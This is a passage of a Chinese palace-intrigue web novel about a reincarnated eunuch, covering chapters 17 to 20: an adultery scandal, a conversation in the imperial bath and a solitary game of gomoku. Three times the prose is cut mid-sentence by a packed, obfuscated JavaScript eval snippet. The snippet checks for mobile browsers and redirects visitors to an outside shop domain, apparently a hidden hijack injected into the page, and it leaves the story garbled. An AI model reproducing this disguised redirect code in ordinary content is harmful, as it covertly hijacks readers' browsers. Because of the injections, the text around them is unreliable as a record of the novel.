脸颊上的热度还未退去,方才听到的那些声音,青黛突然出现带来的惊吓,以及她最后那意味不明的语气和眼神……所有一切都搅在一起,让他心乱如麻。 他回头,心有余悸地看了一眼那扇紧闭的窗户,又望了望青黛消失的方向。 这深宫,果然没有一刻是真正平静的。 * 关禧回到了自己那间小小的厢房。 他反手闩上门,背靠着木门板,环顾这间屋子,目光落在门后一个半旧的藤编篓子上。那是他来承华宫后,青黛让人一并送来的,用于存放待洗衣物。 每日清晨,会有负责浆洗的粗使太监统一来收取,洗净晾干后再送回来。 他默默走过去,将脏衣服团了团,塞进篓子里。动作间,指尖触碰到潮湿冰凉的布料,又像是被烫到般缩了回来。这具身体,这些衣物,连同这屋子里的一切,都在无时无刻不提醒着他荒诞的处境。 脱下来的那身旧衣裤,因为只是用湿布巾简单擦拭后换上,倒不算太脏,但沾了沐房地上的水渍和湿气。他犹豫了一下,还是将它们搭在了床尾的木架子上,准备明日自己用清水稍微搓洗一下。在宫中,哪怕是低等太监,保持最基本的整洁也是规矩,何况他现在身处承华宫,不知多少双眼睛在暗中盯着。 做完这些,他才觉得身上那阵黏腻不适稍微缓解,走到墙角的水缸边,用剩下的干净冷水胡乱抹了把脸。 吹熄了桌上那盏如豆的油灯,屋内彻底陷入黑暗。只有清冷的月光透过窗纸,在地上投下方方正正的一片惨白。 关禧躺在那张硬邦邦的木板床上,身下是薄薄的褥子,他睁着眼,望着头顶那片吞噬一切光线的浓黑,思绪不由自主地飘到了自己这具身体上。 小离子。十五岁。被王公公挑中,记了名,半割之身……一张足够惹祸的脸。 王公公那样的老狐狸,把他从净舍弄到派办处,再大方地让给冯昭仪,真的只是看他伶俐,有用吗?冯昭仪又为何会接受?她协理六宫,身边会缺一个整理文书的小太监?青黛那若有若无的打量和那句“排解寂寞”…… 一个被皇帝点名留意过的,半割的,容貌出众的小太监,就这样被送进了协理六宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892388|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭仪宫里。这背后,仅仅是冯昭仪需要一把好用的刀,或者青黛一时兴起的兴趣吗?会不会……也是一种更为隐晦的试探,或者布局?把他放在承华宫,是不是也在某种程度上,暂时隔断了他直接被皇帝召见的可能?冯昭仪是在……保护她自己的某种计划,还是把他当成了另一枚可以用于制衡或交易的棋子? 越想,越觉得寒意刺骨。他在这盘棋局里,连个卒子都算不上,顶多是棋盘边随时可能被拂落的灰尘。 还有这身体……十五岁。正是发育的年纪。虽然经历了去势重创,但半割的手术意味着某些功能并未完全丧失,只是被强行扭曲和压抑了。原主小离子或许因为贫病交加,发育迟缓,意识懵懂。可他关禧的灵魂住进来后,营养逐渐跟上,伤势好转,这具少年躯体本能的生机正在复苏。 今晚在沐房,吊梢眼那些下流话固然可恨,却像一根刺,扎破了他一直刻意回避的认知。窗后那些声音……对他这个十七岁,心理性别为女,却困在男性身体里的灵魂造成的冲击,是复杂的。恶心,羞耻,恐惧……但不可否认,那声音里生物性的悸动,似乎也隐隐勾动了这具身体深处某种陌生的本能。 他厌恶这种感觉,比厌恶这具身体本身更甚。 困意终于在纷乱思绪的间隙袭来,像潮水般淹没了他紧绷的神经。 意识逐渐模糊,沉入黑暗。 …… 混沌中,感官却变得敏锐起来。 鼻尖似乎萦绕着一种清雅的香气,像是冯昭仪书斋里的檀香,又混合了一丝女子身上特有的甜暖。视线里,有一只纤细白皙的手,指尖染着淡淡健康的粉色,正缓缓拂过书页,那指尖仿佛带着微弱的电流,所过之处,连空气都微微酥麻。 画面一转,是浴堂氤氲的水汽。汉白玉的池壁光滑冰凉,水面晃动着破碎的月光。有人影靠近,带着股混合着皂角与女子体香的气息。看不清脸,只有淡青色的衣角,在水汽中轻轻摇曳。一只手,带着温暖的湿意,抚上他的脖颈,指尖流连于锁骨凹陷处…… 呼吸不由自主地急促起来。 仿佛有什么东西,挣脱了束缚,在昏暗中悄然抬头…… “不……!” 关禧猛地从床上弹坐起来,心脏狂跳得像要炸开胸膛,额头上全是冷汗,他急促地喘息着,黑暗中,茫然又惊恐地低头看向自己的下身。 怎么会,怎么可以…… 这具身体竟然……对着那样的梦境,有了反应? 虽然早知半割意味着什么,虽然青黛的话里话外也暗示过,虽然今晚听到那些声音……可当这一切以如此直接,如此生理性的方式呈现出来时,关禧只觉得灵魂都被撕裂了。 他是关禧,是个女生,哪怕身体不是,灵魂也是,可现在这算什么?这具男性的身体,竟然会对另一个女性,哪怕是梦境中模糊的影子,产生这种下流的反应?! 恶心!太恶心了! 他掀开薄被,跳下床,甚至顾不上穿鞋,光着脚冲到墙角的水缸边,用冰冷的存水狠狠泼在自己脸上,脖子上。冰凉的温度刺激着皮肤,却丝毫无法浇灭心底那团灼烧的火焰和翻涌的恶心感。 他撑着缸沿,低下头,剧烈地干呕起来。 为什么……为什么要让他遭遇这一切?穿越成太监还不够,还要承受这种灵魂与身体极端错位的酷刑? 不知过了多久,颤抖才稍稍平息。 他脱力地靠着墙壁滑坐在地上,眼神空洞地望着地面那片模糊的月光。 下身那恼人的反应,在冷水和情绪冲击下,终于缓缓消退,留下一种空虚的钝痛。 他抬起手,看着自己这双属于小离子骨节分明的手,第一次如此清晰地认识到:逃离这具身体,或许比逃离这座皇宫更难。 18. 第 18 章 晨光熹微,尚未穿透承华宫精致的窗棂,一阵急促的脚步声便在廊下响起,打破了黎明前最后的寂静。 关禧几乎一夜未眠,眼底带着淡淡的青黑,正对着水盆里模糊的倒影,将最后一丝纷乱的鬓发抿入帽中,也努力将注意力集中在今日可能要处理的文书上,青黛昨日吩咐了,要找出陛下万寿节相关的旧例。 可门外不同寻常的动静让他动作一顿。 是陈立德尖细的嗓音,压得极低:“青黛姑娘。出事了,长春宫那边,李婕妤被人告发了。” “吱呀”一声,似乎是青黛的房门被迅速拉开。 关禧的心猛地一跳。长春宫,那个在炭火记录中份例都领不足,畏烟体弱的李婕妤?那个被冯昭仪特意嘱咐要留意用度记录的长春宫? “仔细说,慌什么。”青黛的声音响起,比陈立德平稳得多。 “是皇后娘娘身边的海棠姑姑,天还没亮透就带着人直奔了长春宫,说是……说是接到了密告,李婕妤秽乱宫闱,与侍卫私通!”陈立德的声音抖得厉害,不知是怕还是激动,“人……人据说当场就按住了!那侍卫被打得半死拖去了慎刑司,李婕妤被拘在长春宫正殿,皇后娘娘已经动身过去了,传了协理宫务的娘娘……咱们娘娘得立刻过去!” 私通! 这两个字像惊雷一样在关禧耳边炸开。昨晚那扇窗户后令他面红耳赤又心惊胆战的声响,与此刻陈立德口中这血淋淋的宫廷重罪重叠。只是昨夜那或许是底层宫人无奈而隐秘的慰藉,今日这,却是足以让一位妃嫔,哪怕是最不得宠的妃嫔,万劫不复的滔天大祸。 他下意识地屏住呼吸,耳朵紧紧贴在门板上。 外面静默了一瞬,只有陈立德粗重的喘息。然后,青黛的声音再度响起,恢复了那种滴水不漏的平静:“知道了。你且去准备娘娘的舆驾,要快,但不可张扬。我这就去禀报娘娘。” 脚步声匆匆离去。 关禧退后两步,心脏在胸腔里擂鼓。李婕妤私通被告发……是确有其事,还是构陷?冯昭仪之前让他留意长春宫的用度,是否早就察觉了什么?皇后亲自出手,协理宫务的妃嫔都要到场…… 他该做什么?青黛没有叫他,他只能在这里等着。冯昭仪会带谁去?青黛必然随行,陈立德估计也要跟着伺候……那他呢?这种场合,以他的身份,恐怕连靠近长春宫正殿的资格都没有。 果然,没过多久,青黛的脚步声停在了他的门外,轻轻叩了两下。 关禧立刻打开门,垂首肃立:“青黛姐姐。” 青黛已经换上了一身更为庄重的靛青色宫装,头发梳得一丝不苟,脸上薄施脂粉,遮掩了可能因早起而有的些许疲惫,她快速打量了关禧一眼,见他虽眼底有些青影,但衣着整齐,神色尚算镇定,便言简意赅地吩咐:“娘娘要去长春宫。你跟着,守在殿外廊下候着,机灵些,留意来往人等,但切记,不准听,不准问,不准多看一眼。若有吩咐,自会有人传你。” “是,奴才明白。”关禧压下心中翻腾的念头,恭敬应道。 冯媛很快便出来了。她今日的打扮与去御花园时截然不同,穿着一身雨过天青色缂丝宫装,外罩同色比甲,头上挽着端庄的牡丹髻,正中插一支赤金点翠凤凰衔珠步摇,两侧各簪一朵新鲜的淡紫色兰草,耳垂上坠着东海珍珠,通身气度沉静雍容,她扶住青黛伸过来的手,并未多看关禧一眼,只道:“走吧。” 陈立德早已备好了一顶四人抬的便轿,轿帘是厚重的深青色,遮得严严实实。冯媛上了轿,青黛随行在侧,陈立德在前引路,关禧和另外两个抬着备用物品的小太监默默跟在最后。 天色尚未大亮,晨雾如纱,弥漫在重重宫阙之间。宫道两侧高耸的朱墙被雾气濡湿,颜色显得愈发暗沉压抑。路上寂静得可怕,只有轿夫轻微而规律的脚步声和轿杆吱呀的轻响,偶尔遇到其他方向匆匆赶去的舆驾或步行疾走的宫人,彼此也只是极快地对视一眼,便迅速错开,无人交谈,空气中弥漫着一股山雨欲来的沉闷。 越靠近长春宫,这种压抑感就越发浓重。长春宫位置本就偏僻,此时宫门内外却站满了穿着不同服色、来自各宫各司的太监和宫女,以及一队队腰佩刀剑,神情肃穆的侍卫。所有人都敛声屏气,连呼吸都放得极轻。 冯媛的轿子在宫门外停下。她扶着青黛的手下了轿,陈立德立刻上前向守门的皇后宫中太监通报。 那太监显然认得冯媛,躬身行礼后,侧身让开一条道,低声道:“昭仪娘娘请,皇后娘娘和其他几位娘娘已在正殿了。” 冯媛微微颔首,步履沉稳地走了进去。青黛紧随其后。 陈立德对关禧和另外两个小太监使了个眼色,三人立刻乖觉地退到宫门侧方一处不引人注目的廊檐下,垂首肃立。这里离正殿尚有数十步距离,中间隔着庭院和几道回廊,只能隐约看到正殿紧闭的雕花大门,以及门两侧站立的宫女太监。 关禧低着头,目光却谨慎地扫视着周围。长春宫的庭院比承华宫小了许多,也朴素得多,草木也少了精心打理,显得有些萧条。此刻,院子里站满了人,除了皇后和几位高位妃嫔带来的随从,还有长春宫原有的宫人,他们个个面如土色,跪在院子角落,身体抖得像风中的落叶。 空气中,除了清晨的湿冷,还隐隐飘来一丝若有若无的,甜腻过了头的脂粉香气,以及……另一种更沉,更浊,像是陈旧木头混合着灰尘的味道。 等待的时间格外漫长。关禧能听到自己心脏在胸腔里沉闷的跳动声。正殿内隐约有说话声传来,听不真切,但偶尔拔高的女声尖锐地刺破寂静,又迅速被压低下去。那应该是皇后在问话,或者是……哪位激动的妃嫔? 他看到了徐昭容的步辇也停在了外面,徐宛白被宫女搀扶着,昂着头,快步走了进去。她也来了……以她爱看热闹又唯恐天下不乱的性子,自然不会错过。 不知过了多久,正殿的门“吱呀”一声开了。 先出来的是两个穿着赭色太监服,身材高大的太监,面无表情,一左一右架着一个穿着低级侍卫服饰,浑身是血,几乎不成人形的男子。那男子的头无力地垂着,双手被反剪绑在身后,衣袍破碎,裸露的皮肤上布满鞭痕和污渍,被拖行过处,在清扫过的青石板上留下几道暗红的,断续的痕迹。他被粗暴地拖向宫外,方向显然是慎刑司。 围观的宫人们纷纷低下头,不敢直视。 紧接着,几个皇后宫中的嬷嬷和太监,半扶半拖着一个女子走了出来。 那女子穿着藕荷色的宫装,头发散乱,簪环尽去,脸上脂粉被泪水冲花,露出底下过分苍白憔悴的皮肤。她似乎想挣扎,嘴唇翕动着,却发不出完整的声音,只有喉咙里破碎的呜咽。正是李婕妤。与关禧想象中不同,她不是什么绝色美人,甚至算不得多秀丽,只是眉眼间依稀能看出几分曾经的温婉。 她被带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892389|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往与那侍卫相反的方向,那是冷宫,或者更糟的地方。 李婕妤被拖过庭院时,目光涣散地扫过跪在地上的长春宫宫人,扫过周围那些或麻木,或怜悯,或幸灾乐祸的脸。忽然,她的视线定在了正殿门口某个方向,瞳孔骤缩,像是看到了什么极端可怖的东西,喉咙里发出一声凄厉的尖叫:“是你——!徐宛白!你不得好——” “啪!” 一声清脆的耳光打断了她未完的诅咒。一个皇后身边的嬷嬷眼疾手快,狠狠一巴掌扇在她脸上,力道之大,让李婕妤的头猛地偏向一边,嘴角立刻渗出血丝,人也彻底瘫软下去,被迅速拖走。 那声戛然而止的尖叫,像冰冷的刀子,划过每个人的耳膜。 关禧感到一股寒意从脊椎骨窜起。徐宛白?李婕妤最后喊的是徐宛白,是徐昭容告发了她?还是……李婕妤在绝望下的胡乱攀咬? 正殿内,地位最高的几位终于现身了。 率先走出的是一位身着明黄色凤穿牡丹宫装,头戴九龙九凤冠的女人。她约莫二十三四岁年纪,容貌端庄大气,只是脸色有些过于苍白,唇色也淡,眼底有淡淡的倦色。 正是皇后,柳氏,柳心溪。 紧随柳心溪之后的是冯媛。她神色平静,仿佛刚才殿内发生的一切都与她无关,只是细心地稍稍落后皇后半步,保持着恰到好处的恭敬。 接着是徐宛白。她脸上犹带着一丝未能完全掩饰的得意和畅快,眼波流转间,有意无意地扫过冯媛沉静的侧脸,又飞快地瞥了一眼李婕妤被拖走的方向,嘴角勾起一抹冰冷的弧度。 还有其他位份较高的妃嫔,面色各异,或凝重,或漠然,或带着兔死狐悲的隐忧。 柳心溪在殿前台阶上站定,目光缓缓扫过庭院中跪伏的众人,声音不高,却带着不容置疑的威严,清晰地传入每个人耳中:“婕妤李氏,德行有亏,秽乱宫闱,证据确凿。即日起,褫夺封号,废为庶人,打入冷宫,非诏不得出。长春宫一应宫人,疏于职守,监管不力,全部发配浣衣局或苦役司,以儆效尤。此事,乃后宫之耻,望尔等引以为戒,谨守本分,恪守宫规。若再有此等败德丧行之事,严惩不贷。” 说完,她不再停留,扶着身边大宫女的手,上了自己的凤辇。 冯媛等人亦各自行礼,登上步辇或便轿,准备离开。 关禧低着头,随着陈立德的示意,准备跟上冯媛的轿子。就在他转身的刹那,眼角的余光似乎瞥见,徐宛白在上轿前,又回头望了一眼长春宫那扇已然变得死寂的宫门,脸上那抹冰冷的笑意更深了些。而跟在她身后,眉眼间带着几分傲气的大宫女,飞快地与跪在角落里的一个长春宫宫女交换了一个眼神。 那眼神快得如同错觉。 冯媛的轿子起行了。关禧迈着有些僵硬的步子跟上。 轿帘低垂,隔绝了外界。冯媛靠在轿中柔软的垫子上,闭着眼,指尖无意识地在袖中一枚温润的羊脂玉佩上轻轻摩挲。青黛随行在轿侧,目不斜视。 直到轿子走出很远,冯媛才缓缓睁开眼,眸中一片清明冷静,全无半分在长春宫时的疏离倦怠。她对着轿帘外,用只有近处青黛能听到的声音吩咐: “去查查,李婕妤身边那个叫春杏的宫女,家里最近是不是突然宽裕了。还有,徐昭容宫里这两个月,有没有新添什么……手脚特别灵便的洒扫太监。” 青黛极轻微地点了一下头:“是,娘娘。” 19.第 19 章 夜深了,承华宫主殿的寝宫深处,比外间更显幽静。重重纱幔低垂,滤去了外界最后一点喧嚣,只余下烛火在鎏金灯台上静谧燃烧时,偶尔发出的轻微哔剥声。 寝殿侧后的浴堂,此刻被温暖湿润的水汽充盈。一方以整块汉白玉凿成的浴池,四壁浮雕着精致的莲叶游鱼图案,池沿宽阔。热气袅袅,从微烫的池水中蒸腾而上,将空气染上朦胧的暖意,也混合了池中特意洒入清雅安神的柏子与梅花混合的干花香料气味,馥郁而不甜腻。 冯媛已然褪去了白日那身庄重的雨过天青色宫装,只着一件素白柔软的绸缎浴袍,长发如瀑般松散下来,披在身后。她赤足站在池边铺着的柔软吸水的棉毯上,任由青黛为她解开浴袍系带。 青黛的动作熟练,淡青色的宫女比甲早已脱下,只穿着便于动作的浅色中衣,袖口挽至肘部,露出一截莹白如玉的小臂。她神色专注,眉眼低垂,长长的睫毛在氤氲水汽中沾染了细微的湿意,愈发显得乌黑浓密。 “娘娘,水温可还合适?”青黛试了试水温,轻声问道。 “嗯,正好。”冯媛应了一声,扶着青黛稳稳递过来的手,缓缓步入池中。温热的水流逐渐漫过脚踝,小腿,腰际,最终包裹至肩颈。她舒适地喟叹一声,向后靠坐在池壁特意打磨圆滑的凹陷处,闭上眼,任由连日来的疲惫和今日长春宫带来的沉郁气息,都在这一池温水中缓缓溶解。 青黛也褪去鞋袜,仅着中衣踏入池中一侧稍浅处,拿起一块细软的棉布巾,浸湿了,动作轻柔地为冯媛擦拭肩背。她的手指力道适中,隔着湿热的布巾,能感受到冯媛肩颈处因为长时间端坐或思虑而微微僵硬的肌肉。 浴堂内一时只闻水波轻漾的声响。 良久,冯媛才睁开眼,眸中映着摇曳的烛光和水汽,显得比平日更柔和,也更深邃,“今日之事,你怎么看?” 青黛手上动作未停,声音平稳:“李婕妤咎由自取,证据确凿,皇后娘娘处置得宜。”她略顿了顿,“只是……那声徐宛白,喊得蹊跷。” “是啊,蹊跷。”冯媛抬手,撩起一捧温水,看着晶莹的水珠从指缝间滑落,重新汇入池中,“李氏胆小怯懦,若非被逼到绝境,或是恨极了,断不敢在那种场合直呼徐昭容名讳,还口出诅咒。” “奴婢已着人暗中去查春杏和玉芙宫新进的洒扫太监了。”青黛低声道,“只是徐昭容行事向来张扬,若真是她……怕是尾巴也扫得干净。” “无妨。”冯媛淡淡一笑,那笑意未达眼底,“她越是想扫干净,有时反而会留下更清晰的痕迹。不急,慢慢看。” 话题似乎告一段落。青黛换了块布巾,开始为冯媛清洗长发。她将冯媛浓密乌黑的长发拢在掌心,指尖蘸了散发着淡淡兰草清香的澡豆膏子,细细揉搓。动作间,两人靠得极近,水汽模糊了界限,唯有亲密在无声流淌。 冯媛重新闭上眼,享受着青黛妥帖的服侍。又过了一会儿,她忽然开口,语气随意得像是在讨论池边香炉里该换什么香: “青黛,你似乎对那个新来的小离子,颇为上心?” 青黛揉搓发丝的手指几不可察地微微一顿,随即又恢复如常,力道均匀。她没有立刻回答,仔细地将冯媛长发上的泡沫冲洗干净,用干布巾包好吸去多余水分,这才轻声应道:“娘娘说笑了。奴婢只是见他办事还算细致,记性也好,在文书上能帮衬一二。况且……他是王公公送来的人,奴婢多留意些,也是分内之事。” 冯媛唇角勾起一抹极淡的弧度,像是看穿了什么,又像只是随口一提:“只是这样?我瞧着他模样生得,确实过于出挑了些。王元宝那老货,当初挑中他,打的什么主意,你我都清楚。他能这么大方把人送来,除了你几次三番在我面前说他堪用,恐怕也存了别的心思。” 青黛沉默了片刻,拿起一旁温着的,用茉莉花和茶籽浸泡过的清水,缓缓淋在冯媛发尾。水声潺潺,氤氲的热气模糊了她低垂的眉眼。 “奴婢确实觉得他有些不同。不止是皮相。他眼里有股劲儿,不是寻常小太监那种认命或谄媚的劲儿,倒像像石缝里拼命想往外钻的草芽子,看着弱,根却扎得死紧。而且,他识字,懂数,心思细得不像这个年纪该有的。” “哦?评价这么高?”冯媛偏头,水光映照下,侧脸线条优美柔和,眼神带着一丝探究,“所以,你就借着核对文书的由头,把人要了过来?还是说……我们青黛姐姐,在这深宫寂寂长夜里,也终于想找个模样顺眼、心思灵巧的人,说说话,解解闷?” 这话已带上了明显的调侃,也透着一丝认真的询问。她们主仆多年,相伴从潜邸到深宫,经历了不知多少风浪,彼此之间早超越了简单的主仆情分。有些话,旁人问不得,冯媛却问得自然。 青黛的脸颊在蒸腾热气中,泛起了些许红晕,不知是热的,还是别的缘故。她停下手中动作,抬眼看向冯媛,难得显出一丝赧然,但很快又恢复了平素的沉稳,声音低柔: “娘娘,奴婢承认,是存了点私心。他长得确实好。但奴婢更看重他那份不甘和灵性。这宫里,多的是浑浑噩噩或汲汲营营之人,像他这样的,少见。放在眼皮子底下,用得好,或许真是一把得力的刀子;用不好,或起了别的心思……也翻不出什么浪来。” 她顿了顿,补充道:“至于王公公那边,他既把人送来了,短期内应不会再生事端。况且,人在承华宫,怎么用,用不用,何时用,还不是娘娘说了算?总比放在外面,不知何时就被推到了御前,平白惹出麻烦要强。” 冯媛静静地听着,末了,轻轻“嗯”了一声,不置可否,重新靠回池壁,闭上眼,沉浸在了温热池水带来的舒适中。 就在青黛以为这个话题已经结束时,冯媛的声音又淡淡响起,带着一丝几不可闻的叹息:“青黛,你跟了我这些年,最是清楚这宫里的日子。有些念头,起了便起了,无妨。只是……要拿捏好分寸。莫要伤了自己,也别……误了正事。” 这话说得含蓄,却重若千钧。既是提醒,也是默许,更是一种保护。 青黛深深低下头:“奴婢明白。谢娘娘体恤。” 冯媛不再言语,只抬手示意了一下肩膀。青黛会意,重新拿起布巾,力道适中地为她按摩肩颈。 浴堂内重归宁静。 至于那个被她们谈论的关禧,此刻正独自待在他那间清冷的小屋里,桌上摊开着一张不知从哪个废弃书斋角落里翻出来的,边缘有些破损的棋盘,格子刻得深浅不一。旁边两个粗糙的陶碗,一个里面盛着白子,是些颜色灰白,形状不规则的碎石片磨的;另一个里面是黑子,看起来像是某种深色陶土烧制后敲碎的,大小也不均匀。 这是白天他去书斋后面的库房,帮着青黛找一批旧年礼单时,在角落落满灰尘的箱笼里瞥见的。大约是前朝哪位不得志的太监或宫女遗下的消遣玩意儿,早已无人问津。鬼使神差地,他当时就悄悄揣了回来。 围棋?他不会。他一个十七岁的高中生,课余时间被试卷和习题塞满,顶多看过几眼电视上的围棋比赛,认得那是黑子白子,晓得气和眼的大概意思,真要下,规则都摸不全。 可他会下五子棋。 那是他高中课间,和同桌女生偷偷在草稿纸网格上画的,用不同的笔迹代表黑白,简单,直接,连成五子就算赢,有时候自习课太闷,她们能低头厮杀好几盘,输了的请喝奶茶。 灯光如豆,昏黄地照亮棋盘一角。关禧拿起一粒粗糙的黑子,在纵横十九道的棋盘上,犹豫了一下,落在了正中央的天元位。纯粹是觉得,下五子棋,先手占中间好像比较有利。 然后他换到对面坐下,拿起一粒白子,放在黑子斜上方一步。自己跟自己下。 落子的声音很轻,“嗒”、“嗒”,在寂静的夜里格外清晰。他的手指捻着那些粗砺的棋子,触感陌生。没有光滑的塑料棋子,没有画满网格的草稿纸,没有同桌压低声音的抱怨和偷偷张望教室后门的紧张。 有的是冰冷的石片,陶土渣,一盏随时可能油尽灯枯的油灯,和窗外无边无际的宫墙暗影。 “四三……这里应该冲一下……”他喃喃自语,用的是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而不是像现在这样,抱着一本残缺不全,语焉不详的《晟朝宫苑录》,在故纸堆里大海捞针,连这个朝代是不是他历史书上任何一个朝代的变体都搞不清楚。 “爹的……”他捏着一粒黑子,悬在棋盘上方,迟迟没有落下,低声骂了一句,“连个WIFI都没有……不,连电都没有……阿尔法狗来了这儿都得抓瞎。” 他闭上眼,用力揉了揉发胀的太阳穴。再睁开时,目光重新聚焦在棋盘上。自己跟自己下五子棋,还下得这么投入,真是够无聊的。可这是他现在唯一能抓住的、一点点像“思考游戏”的东西,能让他暂时逃离这具身体,这个身份,这座牢笼。 黑子落下,封住了白棋一个潜在的四三。他换到对面,拿起白子,试图寻找突围。 “要是能有个计算器也好啊……”他继续自言自语,声音干涩,“或者有本《五年高考三年模拟》……爹的,我现在居然觉得写数学卷子都是幸福的……” 至少那些题目有答案,有逻辑,有终点。而他现在面对的,是一盘没有规则说明书,对手不明,甚至连自己是什么棋子都搞不清的生死棋局。 冯昭仪是执棋人吗?青黛是另一枚棋子,还是观棋者?徐昭容咄咄逼人,皇后疲于应付,皇帝……那个影子般存在却决定所有人命运的皇帝,他到底在想什么?李婕妤的倒台,真的只是私通那么简单?那声未尽的“徐宛白”,到底藏着多少隐情? 而他,关禧,或者说小离子,在这盘棋里,到底是被用来兑子的卒,还是等待被将军的帅旁边那个可有可无的士?或者,他连棋盘上的子都不是,只是棋盘旁边一颗碍事的灰尘,随时可能被吹落。 白子落下,看似无意,却隐隐形成了另一个方向的连接。关禧盯着棋盘,忽然觉得这纵横交错的格子,像极了这重重宫阙,每一条线都是规矩,每一个交点都是一个位置,或囚牢。黑子与白子纠缠厮杀,都想把对方逼入绝境,连成自己的五子一线。 就像这后宫里的每个人,都在试图用自己的方式,连成那条通往权力,安全,或者仅仅是活下去的线。 他拿起一粒黑子“啪”一声,落在了一个看似无关紧要的位置,却恰好同时破坏了白棋两个潜在的好形。 “不能只想着自己那条线,”他低声说,像是告诫自己,“还得看着别人怎么连……堵别人的路,有时候就是给自己开路。” 20.第 20 章 接下来的日子,宫里表面上看,确实是没发生什么大事。 李婕妤私通之事,在吞没了几条微不足道的人命之后,水面终究是渐渐恢复了平静。只是那沉入潭底的阴影,却让每个经过岸边的人都心头发憷,行路说话,都比以往更添了几分小心。 长春宫彻底沉寂了下去,宫门紧锁,落了厚厚的灰。里面的宫人如皇后旨意所言,被尽数发配去了浣衣局,苦役司那些最磨人的地方,余生大约只能在浆洗捶打或负重劳作中耗尽最后一点力气。偶有洒扫太监经过那附近,都会不自觉地加快脚步。 徐昭容徐宛白,依旧是后宫最张扬明艳的一抹亮色。皇帝对她告发有功颇为嘉许,赏赐流水般进了玉芙宫,那匹曾引发月华门前争执的云锦,也无人再提于礼不合。徐宛白出入宫闱,下巴抬得更高,步摇晃得更急,连带着她宫里的太监宫女,走在路上都比别处的多了三分底气。 但明眼人都能感觉到,玉芙宫与承华宫之间,那股无形的对峙更微妙了。徐宛白看冯媛的眼神,少了几分直白的挑衅,多了些审慎的估量,而冯媛,还是那副云淡风轻的模样,协理宫务,赏花品茶,仿佛长春宫的腥风血雨,不过是一阵吹皱池水的微风,过了,便了无痕迹。 唯有承华宫书斋里的灯,常常亮至深夜。关禧经手的文书,从各宫用度,逐渐扩展到万寿节筹备的相关旧例,内外命妇朝贺的仪程,宴乐赏赐的规格名录……内容越发繁杂,要求也越发精细。 万寿节,皇帝生辰,乃举国同庆之日。 宫中自一个月前便开始筹备,气氛与往日截然不同。内务府,光禄寺,教坊司,尚衣监……各衙门就像上紧发条的机括,日夜不停地运转。 前朝的庆典最为隆重。百官需着朝服,按品级列队,于太极殿前行三跪九叩大礼,献上贺表与贡礼。仪式庄严肃穆,半点差错不得。 后宫亦不遑多让。皇后需率内外命妇,后宫妃嫔于交泰殿行朝贺礼。衣饰钗环皆有定例,行礼举止一丝不能乱。朝贺后,宫中设宴,宴请宗室亲贵,有功命妇。宴席的座次,菜式,歌舞戏曲的编排,乃至宴后赏赐的物件,无不透着森严的等级。 而最让关禧这类低阶内侍感受到节日氛围的,是那份难得的恩典,万寿节前后,宫中会酌情给下人放假轮休,虽只是短短半日或一日,且多数人无处可去,只能在住处附近闲晃,但这已是难得的喘息。月钱也会酌情添一些,谓之节赏。最重要的是,这几日宫中伙食会好上不少,偶尔还能分到些主子们宴席上撤下来不算精贵但平日绝难尝到的点心果子。 “听说今年光禄寺备了西域来的葡萄酒,还有岭南的鲜荔枝,用冰镇着快马送入京的!”小柯某日溜达到书斋附近,趁着青黛不在,偷偷跟关禧咬耳朵,眼里闪着光,“宴席上肯定吃不完,咱们说不定能沾点光!” 关禧正埋头核对一摞宴席器皿清单,闻言笔下未停,只淡淡“嗯”了一声。荔枝?葡萄酒?这些在穿越前唾手可得甚至懒得吃的东西,此刻听着,竟有种恍如隔世的遥远。他更关心的是清单上那些瓷器的数目和品相,以及背后可能隐藏的纰漏——青黛前日特意提点,今年万寿节由皇后总揽,冯昭仪协理,但玉芙宫那边对宴席陈设,器用多有建议,需得格外留意,核对清楚,免得出了岔子,落人口实。 果然,他在核对一批预定用于宴席的青玉螭纹壶时,发现了问题。记录上写明此批壶共二十只,由内府库调拨。但他翻查去岁同类宴席的记录,同样规格的壶只需十八只便足够。多出的两只,记录上标注备用。可再查内府库同期出库的其他物件,并无同样备用之例。 他将这疑点标记出来,附上去岁记录对比,呈给青黛。 青黛看了,眼神微凝,只说了句“知道了”,便将那页纸单独收起。 两日后,关禧在内务府送来的最终核定清单上,看到那青玉螭纹壶的数量,已悄然改回了十八只。 他没问,青黛也没说。但一种无声的默契,在枯燥的文书往来中慢慢建立。青黛交给他的差事越发核心,有时甚至让他初步草拟一些无关紧要的节庆事务安排,再由她润色呈报。关禧做得愈发小心,每一笔都斟酌再三,力求稳妥周全,不露半点个人痕迹。 这日,他正在根据旧例,草拟万寿节当日承华宫内部值守太监的轮换班次与职责。这是一项极其琐碎,却关乎当日宫内秩序与体面的工作。谁负责在前殿迎候可能来贺的低位妃嫔或女官,谁负责茶水点心,谁负责殿外洒扫应对,谁又作为机动候命……需得考虑各人能力,资历,还要避免与皇后或其他高位妃嫔宫中的人事安排冲突。 